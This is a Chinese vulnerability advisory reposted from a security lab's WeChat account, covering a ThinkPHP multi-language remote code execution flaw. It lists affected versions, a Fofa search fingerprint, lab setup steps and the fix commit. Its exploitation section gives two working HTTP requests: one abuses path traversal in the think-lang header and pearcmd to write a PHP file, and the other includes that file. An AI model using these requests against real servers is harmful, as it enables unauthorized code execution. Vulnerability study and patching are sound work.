最新漏洞:Thinkphp 多语言 RCE

admin 2022年12月17日00:36:20评论278 views1字数 2378阅读7分55秒阅读模式
最新漏洞:Thinkphp 多语言 RCE


Thinkphp 多语言 RCE


1

影响范围

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

2

Fofa指纹

header="think_lang"

3

漏洞描述

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

4

攻击条件

开启多语言功能,以thinkphp6为例

https://www.kancloud.cn/manual/thinkphp6_0/1037637

app/middleware.php :

<?php// 全局中间件定义文件return [    // 全局请求缓存    // thinkmiddlewareCheckRequestCache::class,    // 多语言加载    thinkmiddlewareLoadLangPack::class,    // Session初始化    // thinkmiddlewareSessionInit::class];

5

测试环境搭建

测试thinkphp 6.0.12

https://github.com/top-think/think

root@ubuntu:/var/www/#git clone https://github.com/top-think/think.git think_gitroot@ubuntu:/var/www/#cd think_gitroot@ubuntu:/var/www/think_git#git checkout v6.0.12

更改 composer.json ,安装 v6.0.12 :

"require": {    "php": ">=7.2.5",    "topthink/framework": "6.0.12",    "topthink/think-orm": "^2.0"},

安装

root@ubuntu:/var/www/think_git#composer install

打开多语言功能

<?php// 全局中间件定义文件return [    // 全局请求缓存    // thinkmiddlewareCheckRequestCache::class,    // 多语言加载    thinkmiddlewareLoadLangPack::class,    // Session初始化    // thinkmiddlewareSessionInit::class];

启动 docker compose

version: "3.3"  # optional since v1.27.0services:  web:    image: php:7.4-apache    ports:      - "8888:80"    volumes:      - /var/www/think_git:/var/www/html

6

漏洞利用

https://vulfocus.cn/#/dashboard

最新漏洞:Thinkphp 多语言 RCE
GET /public/index.php?+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1Host: 123.58.224.8:30047User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflatethink-lang:../../../../../../../../usr/local/lib/php/pearcmdConnection: closeCookie: think_lang=zh-cnUpgrade-Insecure-Requests: 1
最新漏洞:Thinkphp 多语言 RCE
GET /public/index.php HTTP/1.1Host: 123.58.224.8:30047User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflatethink-lang:../../../../../../../../tmp/helloConnection: closeCookie: think_lang=zh-cnUpgrade-Insecure-Requests: 1
最新漏洞:Thinkphp 多语言 RCE


7

修复漏洞

官方已完成修复:

https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099


长风实验室发布、转载的文章中所涉及的技术、思路和工具,仅供以网络安全为目的的学习交流使用,不得用作它途。部分文章来源于网络,如有侵权请联系删除。

END

 推荐 

 阅读 

最新漏洞:Thinkphp 多语言 RCE
最新漏洞:Thinkphp 多语言 RCE


点赞在看

扫码关注|更多好玩

 长风实验室 · 

最新漏洞:Thinkphp 多语言 RCE

原文始发于微信公众号(长风实验室):最新漏洞:Thinkphp 多语言 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月17日00:36:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最新漏洞:Thinkphp 多语言 RCEhttps://cn-sec.com/archives/1466657.html

发表评论

匿名网友 填写信息